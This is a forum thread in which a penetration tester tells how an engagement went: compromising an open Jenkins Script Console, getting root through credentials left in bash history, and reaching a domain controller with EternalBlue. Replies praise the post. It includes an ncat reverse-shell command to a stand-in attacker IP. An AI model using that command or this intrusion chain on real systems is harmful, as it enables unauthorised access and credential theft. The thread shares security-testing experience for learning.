+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: Real Story of a Pentester #1 - Jenkins (/showthread.php?tid=5790127)
Pages: Pages
1
2
Real Story of a Pentester #1 - Jenkins - [BLANK] - Jan 25, 2018
I thought it would be interesting to share some of my real world penetration testing experience in a story format. The goal is not to write the next great novel or anything, but I though it would be an interesting way of sharing real world experience, problems, and solutions. It may also inspire others to write some of their engagement stories as well.
I recently had an engagement where I was placed in a corporate network with no information beyond some flags (IPs of hosts to compromise) to attempt to access. My local host was a Kali box, I had no domain connections or anything else beyond an IP on the network. The first thing I did was to start enumerating the network. Some people would start with a mass port scan (OSCP right) and while that sort of scanning is fine in most engagements where you don't mind being super noisy, I try to stay quite on the wire for at least the first day or two of testing. So I began with more passive scanning, using nmap I was able to intercept broadcast messages and get an understanding of what kind of network I was on, what hosts were broadcasting, NETBIOS information etc.
Code
nmap -e eth0 *broadcast-*The output was pretty normal, printers, services etc. But one host caught my eye right away, a Jenkins box! Don't get me wrong, Jenkins set up correctly is very useful and can be secure. But...I decided to check out the host anyways in case I would get lucky. And did I ever. I setup a port forward from my local host through the tunnel I was using to get into the corporate net so that I could access the web application inside the corporate network.
Code
ssh -L 8888:Jenkins:443 root@remotehostAfter the tunnel was up I opened my browsers, browsed to https://localhost:8888 and got access to the Jenkins panel. Now this is where things get interesting, because the admin who set up the Jenkins box did not lock down Jenkins functionality, and I got access to the Script Console, which means I was able to execute server side code.
More info: https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
With the script console I used netcat to create a reverse shell to a metasploit listener and from there used "post/multi/manage/shell_to_meterpreter" to get a full meterpreter from my basic netcat shell.
Code
ncat -nv attackerIP port -e '/bin/sh'I was in! My user on the server was Jenkins but I had a lot of access. I couldn't access root or any other user files. I started enumerating the server, looking for insecure kernel version, file permissions etc. Then it occurred to me to check the bash history of the user. There was a lot of jobs assigned to Jenkins which is normal, some basic setup commands, but then I noticed one of the jobs included a username and password. Now the username is different then Jenkins, but I figured, what the hell why not try it. So I opened a new shell on my remote Kali box then attempted to SSH into the Jenkins box with the new password I found, and yep, it worked. So I decided to take it one step further, would Jenkins happen to be a sudo user?
Code
sudo su -It was, and now I had full root access on the dev ops server. From there I accessed every home directory, root folder, got the shadow hashes etc. I found everything from gmail account/passwords to github repo credentials and certificates for many services. And maybe the best thing I found was a pre-established SSH tunnel to an even more internal network. I didn't even have to breach into it.
From this Jenkins box I was able to find a vulnerable Windows Server 2008, using Eternalblue I gained full SYSTEM access, the server was a Domain Controller. So naturally I gathered all the user hashes for later and set myself up as a full Domain Admin.
And that was how I got full Domain Admin on a major corporate network in less then one day.
I hope you all enjoyed the story, I look forward to sharing more in the future.
RE: Real Story of a Pentester Part 1 - hi_man - Jan 25, 2018
Nice one!
I am sure that the corporate must have network of computers connected to the main server. You were luck that you pwned the main server.
If you want to make it more complex or want to practice something more. Try to Pivoting - Hacking systems in the network from the compromised machine.
Anyways, I am glad things were real staright forward for you (as most of the time ther aren't) .
At last, This scenario can be titled as "How i pwned my first target"
Nice work OP!
Be in contact. Hope to see more of you 🙂
Thanks
hi_man
RE: Real Story of a Pentester Part 1 - Riggs - Jan 25, 2018
(Jan 25, 2018 08:20 AM)EasyGhost Wrote: There was a lot of jobs assigned to Jenkins which is normal, some basic setup commands, but then I noticed one of the jobs included a username and password.
I'd get to this point and be like "yer m8 r8 dis huneypot b8 8/8 seemz legut".
RE: Real Story of a Pentester Part 1 - [BLANK] - Jan 25, 2018
(Jan 25, 2018 08:35 AM)Riggs Wrote: I'd get to this point and be like "yer m8 r8 dis huneypot b8 8/8 seemz legut".
It wasn't a honeypot, it was all internal and it was running legit jobs. There were multiple other servers that were Jenkins slaves etc. I found that corporations do a good job protecting their external posture but terrible at internal network security.
(Jan 25, 2018 08:31 AM)hi_man Wrote: Nice one!
I am sure that the corporate must have network of computers connected to the main server. You were luck that you pwned the main server.
If you want to make it more complex or want to practice something more. Try to Pivoting - Hacking systems in the network from the compromised machine.
Anyways, I am glad things were real staright forward for you (as most of the time ther aren't) .
At last, This scenario can be titled as "How i pwned my first target"
Nice work OP!
Be in contact. Hope to see more of you 🙂
Thanks
hi_man
Thanks for the feedback. This was not even close to my first engagement, nor my most complicated. Next time I will write the story of how I got access to a Firewall by pivoting through an entire college network, owning DA and hacking the main Senior Security managers computer to pivot to the Firewall access. Now that was fun, I can also talk about Cobalt Strike and Bloodhound in that engagement. Great tools.
RE: Real Story of a Pentester Part 1 - Baud - Jan 25, 2018
(Jan 25, 2018 09:49 AM)EasyGhost Wrote: Next time I will write the story of how I got access to a Firewall by pivoting through an entire college network, owning DA and hacking the main Senior Security managers computer to pivot to the Firewall access. Now that was fun, I can also talk about Cobalt Strike and Bloodhound in that engagement. Great tools.
As a pentester wannabe this read was very interesting, I can't wait to read the next one, it sounds like it was a lot of fun.
RE: Real Story of a Pentester Part 1 - Freerunning - Jan 25, 2018
That was amazing! I would like to hear more from you. Goodluck on your future engagement.
RE: Real Story of a Pentester Part 1 - CyberStrike - Jan 26, 2018
Good stuff EasyGhost. I had to double read it and saw " My local host was a Kali box, I had no domain connections or anything else beyond an IP on the network." I thought I had missed that initial compromise.
RE: Real Story of a Pentester Part 1 - Mauricedu34 - Jan 29, 2018
Nice thread ! You inspired me
RE: Real Story of a Pentester Part 1 - a.k.a.mao - Jan 30, 2018
nice man :)
good work, you have to try all maybe it is just behind you
RE: Real Story of a Pentester #1 - Jenkins - T3h Hack3r - Jan 30, 2018
Nice share, I haven’t found any Jenkins instances on my internal engagements yet. However I’ve made a few 5k RCE payments from it on Bug Bounty’s. Jenkins will pretty much always lead to RCE.
RE: Real Story of a Pentester #1 - Jenkins - CyberStrike - Jan 30, 2018
(Jan 30, 2018 06:07 PM)T3h Hack3r Wrote: Nice share, I haven’t found any Jenkins instances on my internal engagements yet. However I’ve made a few 5k RCE payments from it on Bug Bounty’s. Jenkins will pretty much always lead to RCE.
Always great to see other professionals here, btw would you mind linking your writeup, if or when it is okay to disclose it? Greatly appreciate it.
RE: Real Story of a Pentester #1 - Jenkins - [BLANK] - Jan 30, 2018
(Jan 30, 2018 06:07 PM)T3h Hack3r Wrote: Nice share, I haven’t found any Jenkins instances on my internal engagements yet. However I’ve made a few 5k RCE payments from it on Bug Bounty’s. Jenkins will pretty much always lead to RCE.
Yea I found another Jenkins box, same customer different network. That one was locked down...but it was an older version and was able to use JexBoss to get a shell.
RE: Real Story of a Pentester #1 - Jenkins - Lane_Stalker - Jan 31, 2018
That made a really good read OP! All the best for your upcoming engagements.
RE: Real Story of a Pentester #1 - Jenkins - CyberStrike - Feb 1, 2018
(Feb 1, 2018 12:29 AM)T3h Hack3r Wrote: No worries. The report is actually public here via the Mozilla Bug Bounty program. A bit different to the OP's post. This Jenkins instance had been left at the installation page and I was able to manage the whole install.
Awesome stuff, personally I try to read these reports as sometimes you learn something new, the sad part is that had the company releasing the software in the first place, spent 1 month doing this many of these bugs can be avoided, although I guess on the other side of this coin we would have a little bit less work.
RE: Real Story of a Pentester #1 - Jenkins - Nomad.Null - Feb 2, 2018
Nice war story. They're always fun to hear. Makes me want to share a few of my own. 🤝